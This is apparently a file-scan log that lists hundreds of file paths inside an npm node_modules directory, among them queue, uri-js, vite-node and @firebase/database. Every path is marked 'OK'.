+/scan/node_modules/queue/index.js: OK
+/scan/node_modules/queue/readme.md: OK
+/scan/node_modules/queue/package.json: OK
+/scan/node_modules/queue/index.d.ts: OK
+/scan/node_modules/js-cookie/LICENSE: OK
+/scan/node_modules/js-cookie/dist/js.cookie.mjs: OK
+/scan/node_modules/js-cookie/dist/js.cookie.js: OK
+/scan/node_modules/js-cookie/dist/js.cookie.min.mjs: OK
+/scan/node_modules/js-cookie/dist/js.cookie.min.js: OK
+/scan/node_modules/js-cookie/index.js: OK
+/scan/node_modules/js-cookie/README.md: OK
+/scan/node_modules/js-cookie/package.json: OK
+/scan/node_modules/lilconfig/LICENSE: OK
+/scan/node_modules/lilconfig/readme.md: OK
+/scan/node_modules/lilconfig/package.json: OK
+/scan/node_modules/lilconfig/src/index.js: OK
+/scan/node_modules/lilconfig/src/index.d.ts: OK
+/scan/node_modules/which-module/LICENSE: OK
+/scan/node_modules/which-module/index.js: OK
+/scan/node_modules/which-module/README.md: OK
+/scan/node_modules/which-module/package.json: OK
+/scan/node_modules/optionator/LICENSE: OK
+/scan/node_modules/optionator/CHANGELOG.md: OK
+/scan/node_modules/optionator/README.md: OK
+/scan/node_modules/optionator/package.json: OK
+/scan/node_modules/optionator/lib/util.js: OK
+/scan/node_modules/optionator/lib/index.js: OK
+/scan/node_modules/optionator/lib/help.js: OK
+/scan/node_modules/lodash.isplainobject/LICENSE: OK
+/scan/node_modules/lodash.isplainobject/index.js: OK
+/scan/node_modules/lodash.isplainobject/README.md: OK
+/scan/node_modules/lodash.isplainobject/package.json: OK
+/scan/node_modules/buffer-equal-constant-time/.npmignore: OK
+/scan/node_modules/buffer-equal-constant-time/test.js: OK
+/scan/node_modules/buffer-equal-constant-time/index.js: OK
+/scan/node_modules/buffer-equal-constant-time/README.md: OK
+/scan/node_modules/buffer-equal-constant-time/package.json: OK
+/scan/node_modules/buffer-equal-constant-time/LICENSE.txt: OK
+/scan/node_modules/buffer-equal-constant-time/.travis.yml: OK
+/scan/node_modules/uri-js/LICENSE: OK
+/scan/node_modules/uri-js/dist/es5/uri.all.js.map: OK
+/scan/node_modules/uri-js/dist/es5/uri.all.min.d.ts: OK
+/scan/node_modules/uri-js/dist/es5/uri.all.min.js: OK
+/scan/node_modules/uri-js/dist/es5/uri.all.min.js.map: OK
+/scan/node_modules/uri-js/dist/es5/uri.all.js: OK
+/scan/node_modules/uri-js/dist/es5/uri.all.d.ts: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/urn.js: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/urn-uuid.js: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/urn.js.map: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/mailto.d.ts: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/wss.js.map: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/urn.d.ts: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/mailto.js.map: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/https.js: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/http.d.ts: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/ws.d.ts: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/http.js.map: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/ws.js.map: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/urn-uuid.d.ts: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/https.d.ts: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/https.js.map: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/urn-uuid.js.map: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/wss.d.ts: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/mailto.js: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/ws.js: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/wss.js: OK
+/scan/node_modules/uri-js/dist/esnext/schemes/http.js: OK
+/scan/node_modules/uri-js/dist/esnext/util.js: OK
+/scan/node_modules/uri-js/dist/esnext/regexps-iri.js.map: OK
+/scan/node_modules/uri-js/dist/esnext/util.js.map: OK
+/scan/node_modules/uri-js/dist/esnext/uri.d.ts: OK
+/scan/node_modules/uri-js/dist/esnext/index.js: OK
+/scan/node_modules/uri-js/dist/esnext/regexps-uri.js: OK
+/scan/node_modules/uri-js/dist/esnext/regexps-uri.js.map: OK
+/scan/node_modules/uri-js/dist/esnext/index.js.map: OK
+/scan/node_modules/uri-js/dist/esnext/regexps-uri.d.ts: OK
+/scan/node_modules/uri-js/dist/esnext/regexps-iri.js: OK
+/scan/node_modules/uri-js/dist/esnext/util.d.ts: OK
+/scan/node_modules/uri-js/dist/esnext/index.d.ts: OK
+/scan/node_modules/uri-js/dist/esnext/regexps-iri.d.ts: OK
+/scan/node_modules/uri-js/dist/esnext/uri.js.map: OK
+/scan/node_modules/uri-js/dist/esnext/uri.js: OK
+/scan/node_modules/uri-js/README.md: OK
+/scan/node_modules/uri-js/yarn.lock: OK
+/scan/node_modules/uri-js/package.json: OK
+/scan/node_modules/is-arrayish/LICENSE: OK
+/scan/node_modules/is-arrayish/index.js: OK
+/scan/node_modules/is-arrayish/README.md: OK
+/scan/node_modules/is-arrayish/package.json: OK
+/scan/node_modules/any-promise/.npmignore: OK
+/scan/node_modules/any-promise/LICENSE: OK
+/scan/node_modules/any-promise/implementation.d.ts: OK
+/scan/node_modules/any-promise/index.js: OK
+/scan/node_modules/any-promise/register.js: OK
+/scan/node_modules/any-promise/.jshintrc: OK
+/scan/node_modules/any-promise/optional.js: OK
+/scan/node_modules/any-promise/README.md: OK
+/scan/node_modules/any-promise/register/rsvp.d.ts: OK
+/scan/node_modules/any-promise/register/vow.js: OK
+/scan/node_modules/any-promise/register/promise.js: OK
+/scan/node_modules/any-promise/register/es6-promise.js: OK
+/scan/node_modules/any-promise/register/pinkie.d.ts: OK
+/scan/node_modules/any-promise/register/bluebird.d.ts: OK
+/scan/node_modules/any-promise/register/native-promise-only.js: OK
+/scan/node_modules/any-promise/register/pinkie.js: OK
+/scan/node_modules/any-promise/register/q.js: OK
+/scan/node_modules/any-promise/register/lie.js: OK
+/scan/node_modules/any-promise/register/when.js: OK
+/scan/node_modules/any-promise/register/q.d.ts: OK
+/scan/node_modules/any-promise/register/bluebird.js: OK
+/scan/node_modules/any-promise/register/promise.d.ts: OK
+/scan/node_modules/any-promise/register/lie.d.ts: OK
+/scan/node_modules/any-promise/register/vow.d.ts: OK
+/scan/node_modules/any-promise/register/native-promise-only.d.ts: OK
+/scan/node_modules/any-promise/register/es6-promise.d.ts: OK
+/scan/node_modules/any-promise/register/rsvp.js: OK
+/scan/node_modules/any-promise/register/when.d.ts: OK
+/scan/node_modules/any-promise/package.json: OK
+/scan/node_modules/any-promise/register.d.ts: OK
+/scan/node_modules/any-promise/register-shim.js: OK
+/scan/node_modules/any-promise/index.d.ts: OK
+/scan/node_modules/any-promise/implementation.js: OK
+/scan/node_modules/any-promise/loader.js: OK
+/scan/node_modules/camelcase-css/license: OK
+/scan/node_modules/camelcase-css/index-es5.js: OK
+/scan/node_modules/camelcase-css/index.js: OK
+/scan/node_modules/camelcase-css/README.md: OK
+/scan/node_modules/camelcase-css/package.json: OK
+/scan/node_modules/cliui/CHANGELOG.md: OK
+/scan/node_modules/cliui/README.md: OK
+/scan/node_modules/cliui/package.json: OK
+/scan/node_modules/cliui/index.mjs: OK
+/scan/node_modules/cliui/build/index.d.cts: OK
+/scan/node_modules/cliui/build/index.cjs: OK
+/scan/node_modules/cliui/build/lib/string-utils.js: OK
+/scan/node_modules/cliui/build/lib/index.js: OK
+/scan/node_modules/cliui/LICENSE.txt: OK
+/scan/node_modules/vite-node/LICENSE: OK
+/scan/node_modules/vite-node/dist/constants.cjs: OK
+/scan/node_modules/vite-node/dist/constants.d.ts: OK
+/scan/node_modules/vite-node/dist/chunk-hmr.mjs: OK
+/scan/node_modules/vite-node/dist/constants.mjs: OK
+/scan/node_modules/vite-node/dist/chunk-hmr.cjs: OK
+/scan/node_modules/vite-node/dist/hmr.d.ts: OK
+/scan/node_modules/vite-node/dist/server.d.ts: OK
+/scan/node_modules/vite-node/dist/trace-mapping.d-xyIfZtPm.d.ts: OK
+/scan/node_modules/vite-node/dist/utils.cjs: OK
+/scan/node_modules/vite-node/dist/types.cjs: OK
+/scan/node_modules/vite-node/dist/types.d.ts: OK
+/scan/node_modules/vite-node/dist/types.mjs: OK
+/scan/node_modules/vite-node/dist/utils.mjs: OK
+/scan/node_modules/vite-node/dist/cli.d.ts: OK
+/scan/node_modules/vite-node/dist/client.mjs: OK
+/scan/node_modules/vite-node/dist/index-O2IrwHKf.d.ts: OK
+/scan/node_modules/vite-node/dist/client.cjs: OK
+/scan/node_modules/vite-node/dist/utils.d.ts: OK
+/scan/node_modules/vite-node/dist/server.cjs: OK
+/scan/node_modules/vite-node/dist/source-map.mjs: OK
+/scan/node_modules/vite-node/dist/index.cjs: OK
+/scan/node_modules/vite-node/dist/hmr.cjs: OK
+/scan/node_modules/vite-node/dist/index.mjs: OK
+/scan/node_modules/vite-node/dist/hmr.mjs: OK
+/scan/node_modules/vite-node/dist/server.mjs: OK
+/scan/node_modules/vite-node/dist/source-map.cjs: OK
+/scan/node_modules/vite-node/dist/index.d.ts: OK
+/scan/node_modules/vite-node/dist/source-map.d.ts: OK
+/scan/node_modules/vite-node/dist/client.d.ts: OK
+/scan/node_modules/vite-node/dist/cli.cjs: OK
+/scan/node_modules/vite-node/dist/cli.mjs: OK
+/scan/node_modules/vite-node/README.md: OK
+/scan/node_modules/vite-node/package.json: OK
+/scan/node_modules/vite-node/vite-node.mjs: OK
+/scan/node_modules/object-assign/license: OK
+/scan/node_modules/object-assign/index.js: OK
+/scan/node_modules/object-assign/readme.md: OK
+/scan/node_modules/object-assign/package.json: OK
+/scan/node_modules/d3-path/LICENSE: OK
+/scan/node_modules/d3-path/dist/d3-path.min.js: OK
+/scan/node_modules/d3-path/dist/d3-path.js: OK
+/scan/node_modules/d3-path/README.md: OK
+/scan/node_modules/d3-path/package.json: OK
+/scan/node_modules/d3-path/src/index.js: OK
+/scan/node_modules/d3-path/src/path.js: OK
+/scan/node_modules/get-proto/Reflect.getPrototypeOf.d.ts: OK
+/scan/node_modules/get-proto/LICENSE: OK
+/scan/node_modules/get-proto/test/index.js: OK
+/scan/node_modules/get-proto/CHANGELOG.md: OK
+/scan/node_modules/get-proto/Object.getPrototypeOf.js: OK
+/scan/node_modules/get-proto/Reflect.getPrototypeOf.js: OK
+/scan/node_modules/get-proto/.eslintrc: OK
+/scan/node_modules/get-proto/index.js: OK
+/scan/node_modules/get-proto/README.md: OK
+/scan/node_modules/get-proto/Object.getPrototypeOf.d.ts: OK
+/scan/node_modules/get-proto/package.json: OK
+/scan/node_modules/get-proto/.github/FUNDING.yml: OK
+/scan/node_modules/get-proto/tsconfig.json: OK
+/scan/node_modules/get-proto/.nycrc: OK
+/scan/node_modules/get-proto/index.d.ts: OK
+/scan/node_modules/form-data/License: OK
+/scan/node_modules/form-data/CHANGELOG.md: OK
+/scan/node_modules/form-data/README.md: OK
+/scan/node_modules/form-data/package.json: OK
+/scan/node_modules/form-data/lib/populate.js: OK
+/scan/node_modules/form-data/lib/form_data.js: OK
+/scan/node_modules/form-data/lib/browser.js: OK
+/scan/node_modules/form-data/index.d.ts: OK
+/scan/node_modules/vite-compatible-readable-stream/readable-browser.js: OK
+/scan/node_modules/vite-compatible-readable-stream/LICENSE: OK
+/scan/node_modules/vite-compatible-readable-stream/GOVERNANCE.md: OK
+/scan/node_modules/vite-compatible-readable-stream/README.md: OK
+/scan/node_modules/vite-compatible-readable-stream/errors-browser.js: OK
+/scan/node_modules/vite-compatible-readable-stream/passthrough.js: OK
+/scan/node_modules/vite-compatible-readable-stream/readable.js: OK
+/scan/node_modules/vite-compatible-readable-stream/package.json: OK
+/scan/node_modules/vite-compatible-readable-stream/errors.js: OK
+/scan/node_modules/vite-compatible-readable-stream/CONTRIBUTING.md: OK
+/scan/node_modules/vite-compatible-readable-stream/lib/_registry.js: OK
+/scan/node_modules/vite-compatible-readable-stream/lib/internal/streams/stream.js: OK
+/scan/node_modules/vite-compatible-readable-stream/lib/internal/streams/stream-browser.js: OK
+/scan/node_modules/vite-compatible-readable-stream/lib/internal/streams/from-browser.js: OK
+/scan/node_modules/vite-compatible-readable-stream/lib/internal/streams/destroy.js: OK
+/scan/node_modules/vite-compatible-readable-stream/lib/internal/streams/from.js: OK
+/scan/node_modules/vite-compatible-readable-stream/lib/internal/streams/async_iterator.js: OK
+/scan/node_modules/vite-compatible-readable-stream/lib/internal/streams/state.js: OK
+/scan/node_modules/vite-compatible-readable-stream/lib/internal/streams/buffer_list.js: OK
+/scan/node_modules/vite-compatible-readable-stream/lib/internal/streams/end-of-stream.js: OK
+/scan/node_modules/vite-compatible-readable-stream/lib/internal/streams/pipeline.js: OK
+/scan/node_modules/vite-compatible-readable-stream/lib/_stream_passthrough.js: OK
+/scan/node_modules/vite-compatible-readable-stream/lib/_stream_transform.js: OK
+/scan/node_modules/vite-compatible-readable-stream/lib/_stream_duplex.js: OK
+/scan/node_modules/vite-compatible-readable-stream/lib/_stream_readable.js: OK
+/scan/node_modules/vite-compatible-readable-stream/lib/_stream_writable.js: OK
+/scan/node_modules/vite-compatible-readable-stream/experimentalWarning.js: OK
+/scan/node_modules/vite-compatible-readable-stream/.vscode/settings.json: OK
+/scan/node_modules/package-json-from-dist/LICENSE.md: OK
+/scan/node_modules/package-json-from-dist/dist/esm/index.js: OK
+/scan/node_modules/package-json-from-dist/dist/esm/package.json: OK
+/scan/node_modules/package-json-from-dist/dist/esm/index.js.map: OK
+/scan/node_modules/package-json-from-dist/dist/esm/index.d.ts: OK
+/scan/node_modules/package-json-from-dist/dist/esm/index.d.ts.map: OK
+/scan/node_modules/package-json-from-dist/dist/commonjs/index.js: OK
+/scan/node_modules/package-json-from-dist/dist/commonjs/package.json: OK
+/scan/node_modules/package-json-from-dist/dist/commonjs/index.js.map: OK
+/scan/node_modules/package-json-from-dist/dist/commonjs/index.d.ts: OK
+/scan/node_modules/package-json-from-dist/dist/commonjs/index.d.ts.map: OK
+/scan/node_modules/package-json-from-dist/README.md: OK
+/scan/node_modules/package-json-from-dist/package.json: OK
+/scan/node_modules/recharts-scale/LICENSE: OK
+/scan/node_modules/recharts-scale/CHANGELOG.md: OK
+/scan/node_modules/recharts-scale/umd/RechartsScale.min.js.LICENSE.txt: OK
+/scan/node_modules/recharts-scale/umd/RechartsScale.js: OK
+/scan/node_modules/recharts-scale/umd/RechartsScale.min.js: OK
+/scan/node_modules/recharts-scale/README.md: OK
+/scan/node_modules/recharts-scale/package.json: OK
+/scan/node_modules/recharts-scale/es6/getNiceTickValues.js: OK
+/scan/node_modules/recharts-scale/es6/util/arithmetic.js: OK
+/scan/node_modules/recharts-scale/es6/util/utils.js: OK
+/scan/node_modules/recharts-scale/es6/index.js: OK
+/scan/node_modules/recharts-scale/lib/getNiceTickValues.js: OK
+/scan/node_modules/recharts-scale/lib/util/arithmetic.js: OK
+/scan/node_modules/recharts-scale/lib/util/utils.js: OK
+/scan/node_modules/recharts-scale/lib/index.js: OK
+/scan/node_modules/recharts-scale/src/getNiceTickValues.js: OK
+/scan/node_modules/recharts-scale/src/util/arithmetic.js: OK
+/scan/node_modules/recharts-scale/src/util/utils.js: OK
+/scan/node_modules/recharts-scale/src/index.js: OK
+/scan/node_modules/delayed-stream/.npmignore: OK
+/scan/node_modules/delayed-stream/License: OK
+/scan/node_modules/delayed-stream/Makefile: OK
+/scan/node_modules/delayed-stream/Readme.md: OK
+/scan/node_modules/delayed-stream/package.json: OK
+/scan/node_modules/delayed-stream/lib/delayed_stream.js: OK
+/scan/node_modules/standard-as-callback/LICENSE: OK
+/scan/node_modules/standard-as-callback/built/types.js: OK
+/scan/node_modules/standard-as-callback/built/types.d.ts: OK
+/scan/node_modules/standard-as-callback/built/index.js: OK
+/scan/node_modules/standard-as-callback/built/utils.d.ts: OK
+/scan/node_modules/standard-as-callback/built/utils.js: OK
+/scan/node_modules/standard-as-callback/built/index.d.ts: OK
+/scan/node_modules/standard-as-callback/README.md: OK
+/scan/node_modules/standard-as-callback/package.json: OK
+/scan/node_modules/cross-spawn/LICENSE: OK
+/scan/node_modules/cross-spawn/index.js: OK
+/scan/node_modules/cross-spawn/README.md: OK
+/scan/node_modules/cross-spawn/package.json: OK
+/scan/node_modules/cross-spawn/lib/util/readShebang.js: OK
+/scan/node_modules/cross-spawn/lib/util/escape.js: OK
+/scan/node_modules/cross-spawn/lib/util/resolveCommand.js: OK
+/scan/node_modules/cross-spawn/lib/parse.js: OK
+/scan/node_modules/cross-spawn/lib/enoent.js: OK
+/scan/node_modules/@firebase/database/dist/index.cjs.js.map: OK
+/scan/node_modules/@firebase/database/dist/index.cjs.js: OK
+/scan/node_modules/@firebase/database/dist/index.esm2017.js: OK
+/scan/node_modules/@firebase/database/dist/index.esm5.js: OK
+/scan/node_modules/@firebase/database/dist/node-esm/index.node.esm.js.map: OK
+/scan/node_modules/@firebase/database/dist/node-esm/test/websocketconnection.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/test/sortedmap.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/test/compound_write.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/test/syncpoint.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/test/transport.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/test/connection.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/test/repoinfo.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/test/queryconstraint.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/test/deno.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/test/node.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/test/sparsesnapshottree.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/test/parser.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/test/exp/integration.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/test/helpers/syncpoint-util.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/test/helpers/EventAccumulator.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/test/helpers/util.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/test/pushid.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/test/path.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/index.node.esm.js: OK
+/scan/node_modules/@firebase/database/dist/node-esm/package.json: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/index.node.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/api.standalone.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/PersistentConnection.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/operation/ListenComplete.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/operation/AckUserWrite.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/operation/Overwrite.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/operation/Operation.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/operation/Merge.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/AuthTokenProvider.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/ServerActions.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/version.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/WriteTree.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/RepoInfo.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/util/NextPushId.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/util/Path.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/util/SortedMap.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/util/misc.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/util/ImmutableTree.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/util/EventEmitter.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/util/libs/parser.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/util/ServerValues.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/util/OnlineMonitor.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/util/validation.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/util/VisibilityMonitor.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/util/util.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/util/Tree.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/Repo.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/storage/MemoryStorage.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/storage/DOMStorageWrapper.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/storage/storage.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/ReadonlyRestClient.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/AppCheckTokenProvider.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/SnapshotHolder.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/snap/ChildrenNode.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/snap/comparators.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/snap/snap.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/snap/nodeFromJSON.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/snap/IndexMap.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/snap/childSet.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/snap/LeafNode.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/snap/Node.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/snap/indexes/ValueIndex.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/snap/indexes/PathIndex.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/snap/indexes/PriorityIndex.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/snap/indexes/Index.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/snap/indexes/KeyIndex.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/view/CompleteChildSource.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/view/EventGenerator.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/view/ViewProcessor.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/view/View.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/view/Event.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/view/EventRegistration.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/view/CacheNode.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/view/EventQueue.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/view/ChildChangeAccumulator.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/view/ViewCache.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/view/QueryParams.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/view/filter/NodeFilter.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/view/filter/IndexedFilter.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/view/filter/RangedFilter.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/view/filter/LimitedFilter.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/view/Change.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/SyncTree.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/CompoundWrite.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/SyncPoint.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/stats/StatsManager.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/stats/StatsCollection.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/stats/StatsListener.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/stats/StatsReporter.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/core/SparseSnapshotTree.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/api.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/internal/index.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/realtime/Constants.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/realtime/polling/PacketReceiver.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/realtime/Connection.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/realtime/Transport.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/realtime/BrowserPollConnection.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/realtime/WebSocketConnection.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/realtime/TransportManager.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/register.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/api/Transaction.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/api/OnDisconnect.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/api/Reference.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/api/ServerValue.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/api/Database.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/api/test_access.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/api/Reference_impl.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/index.standalone.d.ts: OK
+/scan/node_modules/@firebase/database/dist/node-esm/src/index.d.ts: OK
+/scan/node_modules/@firebase/database/dist/index.standalone.js.map: OK
+/scan/node_modules/@firebase/database/dist/test/websocketconnection.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/test/sortedmap.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/test/compound_write.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/test/syncpoint.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/test/transport.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/test/connection.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/test/repoinfo.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/test/queryconstraint.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/test/deno.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/test/node.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/test/sparsesnapshottree.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/test/parser.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/test/exp/integration.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/test/helpers/syncpoint-util.d.ts: OK
+/scan/node_modules/@firebase/database/dist/test/helpers/EventAccumulator.d.ts: OK
+/scan/node_modules/@firebase/database/dist/test/helpers/util.d.ts: OK
+/scan/node_modules/@firebase/database/dist/test/pushid.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/test/path.test.d.ts: OK
+/scan/node_modules/@firebase/database/dist/index.node.cjs.js: OK
+/scan/node_modules/@firebase/database/dist/private.d.ts: OK
+/scan/node_modules/@firebase/database/dist/index.esm5.js.map: OK
+/scan/node_modules/@firebase/database/dist/index.standalone.js: OK
+/scan/node_modules/@firebase/database/dist/index.esm2017.js.map: OK
+/scan/node_modules/@firebase/database/dist/public.d.ts: OK
+/scan/node_modules/@firebase/database/dist/internal.d.ts: OK
+/scan/node_modules/@firebase/database/dist/index.node.cjs.js.map: OK
+/scan/node_modules/@firebase/database/dist/src/index.node.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/api.standalone.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/PersistentConnection.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/operation/ListenComplete.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/operation/AckUserWrite.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/operation/Overwrite.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/operation/Operation.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/operation/Merge.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/AuthTokenProvider.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/ServerActions.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/version.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/WriteTree.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/RepoInfo.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/util/NextPushId.d.ts: OK
